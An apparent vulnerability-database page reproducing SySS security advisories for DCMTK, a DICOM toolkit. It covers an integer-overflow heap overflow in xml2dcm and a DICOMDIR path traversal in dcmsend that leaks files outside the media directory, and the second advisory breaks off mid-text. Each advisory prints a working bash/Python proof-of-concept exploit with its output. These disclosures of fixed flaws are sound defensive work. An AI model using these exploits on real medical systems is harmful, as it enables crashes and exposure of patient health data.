GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria

    5 vulnerabilities by Dicom

    GCVE-1988-2026-0025

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
    VLAI
    Title
    [SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
    Summary
    Advisory ID: SYSS-2026-048 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). The xml2dcm application and the DcmXMLReader library are vulnerable to a heap buffer overflow when importing external binary files larger than 4 GiB via the binary="file" XML attribute. The file size is measured as size_t but narrowed to Uint32 for the heap allocation, while the full size_t length is used as the fread() read size. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmXMLReader::createBinaryElementFromFile() in libdcxml/xml2dcm.cc (lines 311-330) imports external binary files referenced by binary="file" in XML: const size_t fileSize = OFStandard::getFileSize(filename); size_t buflen = fileSize; if (buflen & 1) buflen++; if (dcmEVR == EVR_OW) result = element->createUint16Array( OFstatic_cast(Uint32, buflen / 2), buf16); else result = element->createUint8Array( OFstatic_cast(Uint32, buflen), buf); if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ... The file size is measured as size_t, narrowed to Uint32 for allocation, and then used as the full size_t read length. The attack chain is as follows: 1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes). 2. The attacker crafts a DICOM XML with binary="file" referencing the large file. 3. xml2dcm reads the file size as size_t (4294967297). 4. createUint8Array() allocates only the low 32 bits (2 bytes). 5. fread() writes 4294967297 bytes into the 2-byte buffer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following exploit script creates a sparse 4294967297-byte file and a DICOM XML referencing it as Pixel Data (OB binary="file"), and then runs xml2dcm: cat > poc.sh << 'EOPOC' #!/bin/bash # # XML binary="file" Length Truncation -> Heap Buffer Overflow # Proof of concept exploit for SYSS-2026-048 # # xml2dcm measures file size as size_t, narrows to Uint32 for allocation, # then uses full size_t for fread — causing heap overflow for files > 4 GiB. # # A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space. # fileSize = 4294967297 (0x100000001) # buflen = 4294967298 (odd, rounded up) # set -euo pipefail XML2DCM="xml2dcm" WORKDIR="/tmp/h4_poc_$$" SPARSE_SIZE=4294967297 # 4 GiB + 1 byte echo "=== PoC: XML binary=\"file\" Length Truncation -> Heap Overflow ===" echo "" echo "Vulnerability: xml2dcm.cc:311-330" echo " size_t fileSize = OFStandard::getFileSize(filename); // 64-bit" echo "" echo "Configuration:" echo " Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)" echo " fread length: $SPARSE_SIZE bytes (full size_t)" echo " xml2dcm: $XML2DCM" echo "" mkdir -p "$WORKDIR" # Step 1: Create sparse file SPARSE_FILE="$WORKDIR/large.bin" echo "[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)..." truncate -s "$SPARSE_SIZE" "$SPARSE_FILE" echo "[+] Sparse file: $SPARSE_FILE" ls -lh "$SPARSE_FILE" # Step 2: Create XML referencing the sparse file XML_FILE="$WORKDIR/exploit.xml" echo "" echo "[*] Creating XML file with binary=\"file\" reference..." cat > "$XML_FILE" << XMLEOF <?xml version="1.0" encoding="UTF-8"?> <file-format xmlns="http://dicom.offis.de/dcmtk";> <data-set xfer="1.2.840.10008.1.2"> <element tag="0008,0016" vr="UI">1.2.840.10008.1.2</element> <element tag="0008,0018" vr="UI">1.2.3.4.5.6.7.8.9</element> <element tag="7FE0,0010" vr="OB" binary="file">$SPARSE_FILE</element> </data-set> </file-format> XMLEOF echo "[+] XML file: $XML_FILE" # Step 3: Run xml2dcm OUTPUT_FILE="$WORKDIR/output.dcm" echo "" echo "[*] Running xml2dcm..." echo "" echo "---" echo "Result:" echo " Exit code: $EXIT_CODE" echo " Output:" echo "$OUTPUT" echo "" # Clean up rm -rf "$WORKDIR" if [ $EXIT_CODE -ne 0 ]; then echo "[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE" echo " The 4 GiB + 1 byte sparse file was allocated as 2 bytes" echo " and fread wrote 4 GiB into it, corrupting the heap." else echo "[-] FAIL: xml2dcm did not crash." fi echo "" echo "=== PoC complete ===" EOPOC The exploit causes xml2dcm to abort with "malloc(): invalid size (unsorted)" (SIGABRT), confirming the truncated allocation and heap corruption. === PoC: XML binary="file" Length Truncation -> Heap Overflow === Vulnerability: xml2dcm.cc:311-330 size_t fileSize = OFStandard::getFileSize(filename); // 64-bit Configuration: Allocation: Uint32(4294967297) = 2 bytes (truncated!) fread length: 4294967297 bytes (full size_t) xml2dcm: xml2dcm [*] Creating sparse file of 4294967297 bytes (0 bytes on disk)... [+] Sparse file: /tmp/h4_poc_50290/large.bin - -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin [*] Creating XML file with binary="file" reference... [+] XML file: /tmp/h4_poc_50290/exploit.xml [*] Running xml2dcm... - --- Result: Exit code: 134 Output: malloc(): invalid size (unsorted) [+] SUCCESS: xml2dcm crashed with exit code 134 The 4 GiB + 1 byte sparse file was allocated as 2 bytes and fread wrote 4 GiB into it, corrupting the heap. === PoC complete === ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit ebeafd016bcef34021111550cc2a644129d89825 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-048 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Assigner
    References
    Impacted products
    Vendor Product Version
    Dicom DICOM Toolkit Affected: unknown
    		Create a notification for this product.
    Credits
    Matthias Deeg via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-048\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe xml2dcm application and the DcmXMLReader library are vulnerable to\na heap buffer overflow when importing external binary files larger than\n4 GiB via the binary=\"file\" XML attribute. The file size is measured as\nsize_t but narrowed to Uint32 for the heap allocation, while the full\nsize_t length is used as the fread() read size.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmXMLReader::createBinaryElementFromFile() in\nlibdcxml/xml2dcm.cc (lines 311-330) imports external binary files\nreferenced by binary=\"file\" in XML:\n\n  const size_t fileSize = OFStandard::getFileSize(filename);\n  size_t buflen = fileSize;\n  if (buflen \u0026 1)\n      buflen++;\n\n  if (dcmEVR == EVR_OW)\n      result = element-\u003ecreateUint16Array(\n          OFstatic_cast(Uint32, buflen / 2), buf16);\n  else\n      result = element-\u003ecreateUint8Array(\n          OFstatic_cast(Uint32, buflen), buf);\n\n  if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...\n\nThe file size is measured as size_t, narrowed to Uint32 for allocation,\nand then used as the full size_t read length.\n\nThe attack chain is as follows:\n\n  1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).\n\n  2. The attacker crafts a DICOM XML with binary=\"file\" referencing the\n     large file.\n\n  3. xml2dcm reads the file size as size_t (4294967297).\n\n  4. createUint8Array() allocates only the low 32 bits (2 bytes).\n\n  5. fread() writes 4294967297 bytes into the 2-byte buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a sparse 4294967297-byte file and\na DICOM XML referencing it as Pixel Data (OB binary=\"file\"), and then runs\nxml2dcm:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# XML binary=\"file\" Length Truncation -\u003e Heap Buffer Overflow\n# Proof of concept exploit for SYSS-2026-048\n#\n# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,\n# then uses full size_t for fread \u2014 causing heap overflow for files \u003e 4 GiB.\n#\n# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.\n#   fileSize = 4294967297 (0x100000001)\n#   buflen   = 4294967298 (odd, rounded up)\n\n#\n\nset -euo pipefail\n\nXML2DCM=\"xml2dcm\"\nWORKDIR=\"/tmp/h4_poc_$$\"\nSPARSE_SIZE=4294967297  # 4 GiB + 1 byte\n\necho \"=== PoC: XML binary=\\\"file\\\" Length Truncation -\u003e Heap Overflow ===\"\necho \"\"\necho \"Vulnerability: xml2dcm.cc:311-330\"\necho \"  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit\"\n\necho \"\"\necho \"Configuration:\"\n\necho \"  Allocation:       Uint32($SPARSE_SIZE) = 2 bytes (truncated!)\"\necho \"  fread length:     $SPARSE_SIZE bytes (full size_t)\"\necho \"  xml2dcm:          $XML2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\n# Step 1: Create sparse file\nSPARSE_FILE=\"$WORKDIR/large.bin\"\necho \"[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)...\"\ntruncate -s \"$SPARSE_SIZE\" \"$SPARSE_FILE\"\necho \"[+] Sparse file: $SPARSE_FILE\"\nls -lh \"$SPARSE_FILE\"\n\n# Step 2: Create XML referencing the sparse file\nXML_FILE=\"$WORKDIR/exploit.xml\"\necho \"\"\necho \"[*] Creating XML file with binary=\\\"file\\\" reference...\"\ncat \u003e \"$XML_FILE\" \u003c\u003c XMLEOF\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cfile-format xmlns=\"http://dicom.offis.de/dcmtk\";\u003e\n\n\u003cdata-set xfer=\"1.2.840.10008.1.2\"\u003e\n  \u003celement tag=\"0008,0016\" vr=\"UI\"\u003e1.2.840.10008.1.2\u003c/element\u003e\n  \u003celement tag=\"0008,0018\" vr=\"UI\"\u003e1.2.3.4.5.6.7.8.9\u003c/element\u003e\n  \u003celement tag=\"7FE0,0010\" vr=\"OB\" binary=\"file\"\u003e$SPARSE_FILE\u003c/element\u003e\n\u003c/data-set\u003e\n\u003c/file-format\u003e\nXMLEOF\necho \"[+] XML file: $XML_FILE\"\n\n# Step 3: Run xml2dcm\nOUTPUT_FILE=\"$WORKDIR/output.dcm\"\necho \"\"\necho \"[*] Running xml2dcm...\"\necho \"\"\n\n\n\necho \"---\"\necho \"Result:\"\necho \"  Exit code: $EXIT_CODE\"\necho \"  Output:\"\necho \"$OUTPUT\"\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n    echo \"[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE\"\n    echo \"    The 4 GiB + 1 byte sparse file was allocated as 2 bytes\"\n    echo \"    and fread wrote 4 GiB into it, corrupting the heap.\"\nelse\n    echo \"[-] FAIL: xml2dcm did not crash.\"\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe exploit causes xml2dcm to abort with \"malloc(): invalid size\n(unsorted)\" (SIGABRT), confirming the truncated allocation and heap\ncorruption.\n\n=== PoC: XML binary=\"file\" Length Truncation -\u003e Heap Overflow ===\n\nVulnerability: xml2dcm.cc:311-330\n  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit\n\n\nConfiguration:\n\n  Allocation:       Uint32(4294967297) = 2 bytes (truncated!)\n  fread length:     4294967297 bytes (full size_t)\n  xml2dcm:          xml2dcm\n\n[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...\n[+] Sparse file: /tmp/h4_poc_50290/large.bin\n- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin\n\n[*] Creating XML file with binary=\"file\" reference...\n[+] XML file: /tmp/h4_poc_50290/exploit.xml\n\n[*] Running xml2dcm...\n\n- ---\nResult:\n  Exit code: 134\n  Output:\nmalloc(): invalid size (unsorted)\n\n[+] SUCCESS: xml2dcm crashed with exit code 134\n    The 4 GiB + 1 byte sparse file was allocated as 2 bytes\n    and fread wrote 4 GiB into it, corrupting the heap.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\nebeafd016bcef34021111550cc2a644129d89825 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-048\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/26"
        },
        {
          "url": "http://dicom.offis.de/dcmtk\""
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0025",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26",
            "automated": true,
            "contentSha256": "ee9c7aaeb0a622baca4c79dcf96a3e99ddcb8c8751d3d72450f17f8f448e4df8",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T08:00:42Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0025"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0024

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
    VLAI
    Title
    [SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)
    Summary
    Advisory ID: SYSS-2026-047 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Path traversal (CWE-22) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). DCMTK's dcmsend is vulnerable to path traversal when it is instructed to read input files from a specially crafted DICOMDIR. This can lead to unauthorized disclosure of readable DICOM objects, including protected health information. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The dcmsend command line option --read-from-dicomdir (+rd) enables DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the referenced SOP instances to its transfer list. The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR() in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to host path separators with dicomToHostFilename(), and then combines the result with the DICOMDIR directory: const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString), pathName.usesWideChars()); OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename, OFTrue /* allowEmptyDirName */); dicomToHostFilename() only replaces "\\" with the host path separator. It does not reject ".." components, absolute paths, or other traversal patterns. OFStandard::combineDirAndFilename() also does not canonicalize the result or verify that the final path remains below the DICOMDIR directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET" becomes a host path like "MEDIA/../OUTDIR/SECRET". The attack chain is as follows: 1. The attacker crafts a DICOMDIR with an IMAGE directory record whose ReferencedFileID contains traversal components, for example "..\\OUTDIR\\SECRET". 2. The same record contains ReferencedSOPClassUIDInFile, ReferencedSOPInstanceUIDInFile, and ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM object. 3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the crafted DICOMDIR. 4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR location without rejecting the traversal. 5. dcmsend opens and transmits the traversed DICOM file to the configured remote storage SCP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): To demonstrate this security isssue, a PoC exploit was developed that sends a DICOM file outside the media directory to an attacker when an attacker-controlled DICOMDIR is used by dcmsend. The crafted DICOMDIR contains a path traversal attack vector in ReferencedFileID. cat > poc.sh << 'EOPOC' #!/bin/bash # Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend set -u WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)" MEDIA_DIR="${WORKDIR}/MEDIA" OUTSIDE_DIR="${WORKDIR}/OUTDIR" RECV_DIR="${WORKDIR}/recv" TARGET_DUMP="${WORKDIR}/target.dump" DICOMDIR="${MEDIA_DIR}/DICOMDIR" TARGET_FILE="${OUTSIDE_DIR}/SECRET" DCMSEND_LOG="${WORKDIR}/dcmsend.log" STORESCP_LOG="${WORKDIR}/storescp.log" cleanup() { if [ -n "${STORESCP_PID:-}" ]; then kill "${STORESCP_PID}" 2>/dev/null || true wait "${STORESCP_PID}" 2>/dev/null || true fi rm -rf "${WORKDIR}" } trap cleanup EXIT require_tool() { command -v "$1" >/dev/null 2>&1 || { echo "[!] Missing required tool: $1" exit 1 } } require_tool dump2dcm require_tool dcmdump require_tool dcmsend require_tool storescp require_tool python3 mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}" cat > "${TARGET_DUMP}" <<'EOF' # Dicom-File-Format # Dicom-Meta-Information-Header # Used TransferSyntax: Little Endian Explicit (0002,0001) OB 00\01 (0002,0002) UI =SecondaryCaptureImageStorage (0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1] (0002,0010) UI =LittleEndianExplicit (0002,0012) UI [1.2.826.0.1.3680043.10.543.370] (0002,0013) SH [H7POC] # Dicom-Data-Set # Used TransferSyntax: Little Endian Explicit (0008,0005) CS [ISO_IR 100] (0008,0016) UI =SecondaryCaptureImageStorage (0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1] (0008,0020) DA [20260630] (0008,0030) TM [120000] (0008,0060) CS [OT] (0008,0064) CS [WSD] (0010,0010) PN [POC^TRAVERSED] (0010,0020) LO [H7DCMSEND] (0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2] (0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3] (0020,0010) SH [1] (0020,0011) IS [1] (0020,0013) IS [1] (0028,0002) US 1 (0028,0004) CS [MONOCHROME2] (0028,0010) US 1 (0028,0011) US 1 (0028,0100) US 8 (0028,0101) US 8 (0028,0102) US 7 (0028,0103) US 0 (7fe0,0010) OB 00\00 EOF dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1 python3 - "${DICOMDIR}" <<'PY' import struct import sys out = sys.argv[1] def even(value, pad=b" "): return value if len(value) % 2 == 0 else value + pad def elem(tag, vr, value): group, element = tag if isinstance(value, str): value = value.encode("ascii") if vr == "UI": value = even(value, b"\0") value = even(value, b" ") data = struct.pack("<HH", group, element) + vr.encode("ascii") if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"): data += b"\0\0" + struct.pack("<I", len(value)) else: data += struct.pack("<H", len(value)) return data + value def item(content): return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content sop_class = "1.2.840.10008.5.1.4.1.1.7" sop_inst = "1.2.826.0.1.3680043.10.543.777.1" transfer_syntax = "1.2.840.10008.1.2.1" record = b"".join([ elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)), elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1430), "CS", "IMAGE"), elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"), elem((0x0004, 0x1510), "UI", sop_class), elem((0x0004, 0x1511), "UI", sop_inst), elem((0x0004, 0x1512), "UI", transfer_syntax), ]) dataset = b"".join([ elem((0x0004, 0x1130), "CS", "H7POC"), elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)), elem((0x0004, 0x1212), "US", struct.pack("<H", 0)), elem((0x0004, 0x1220), "SQ", item(record)), ]) meta_body = b"".join([ elem((0x0002, 0x0001), "OB", b"\0\1"), elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"), elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"), elem((0x0002, 0x0010), "UI", transfer_syntax), elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"), elem((0x0002, 0x0013), "SH", "H7POC"), ]) with open(out, "wb") as handle: handle.write(b"\0" * 128 + b"DICM" + meta + dataset) PY PORT="$(python3 - <<'PY' import socket s = socket.socket() s.bind(("127.0.0.1", 0)) print(s.getsockname()[1]) s.close() PY )" echo "[*] DICOMDIR is inside: ${MEDIA_DIR}" echo "[*] Referenced target is outside: ${TARGET_FILE}" echo "[*] DICOMDIR ReferencedFileID:" dcmdump +P 0004,1500 "${DICOMDIR}" STORESCP_PID=$! sleep 1 set +e dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1 RC=$? set -e sleep 1 kill "${STORESCP_PID}" 2>/dev/null || true wait "${STORESCP_PID}" 2>/dev/null || true STORESCP_PID="" cat "${DCMSEND_LOG}" RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)" if [ "${RC}" -eq 0 ] && [ -n "${RECEIVED_FILE}" ] && dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}" exit 0 fi echo "[!] FAILED: traversal transmission was not verified" echo "[!] Workdir retained for inspection: ${WORKDIR}" trap - EXIT exit 1 EOPOC A successful attack is indicated by output similar to the following: ./poc.sh [*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA [*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET [*] DICOMDIR ReferencedFileID: I: checking input files ... I: starting association #1 I: initializing network ... I: negotiating network association ... I: Requesting Association I: Association Accepted (Max Send PDV: 16372) I: sending SOP instances ... I: Sending C-STORE Request (MsgID 1, SC) I: Received C-STORE Response (Success) I: Releasing Association I: I: Status Summary I: -------------- I: Number of associations : 1 I: Number of pres. contexts : 1 I: Number of SOP instances : 1 I: - sent to the peer : 1 I: * with status SUCCESS : 1 (0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName (0010,0020) LO [H7DCMSEND] # 10, 1 PatientID This demonstrates that dcmsend reads a file outside the DICOMDIR directory and transmits it to 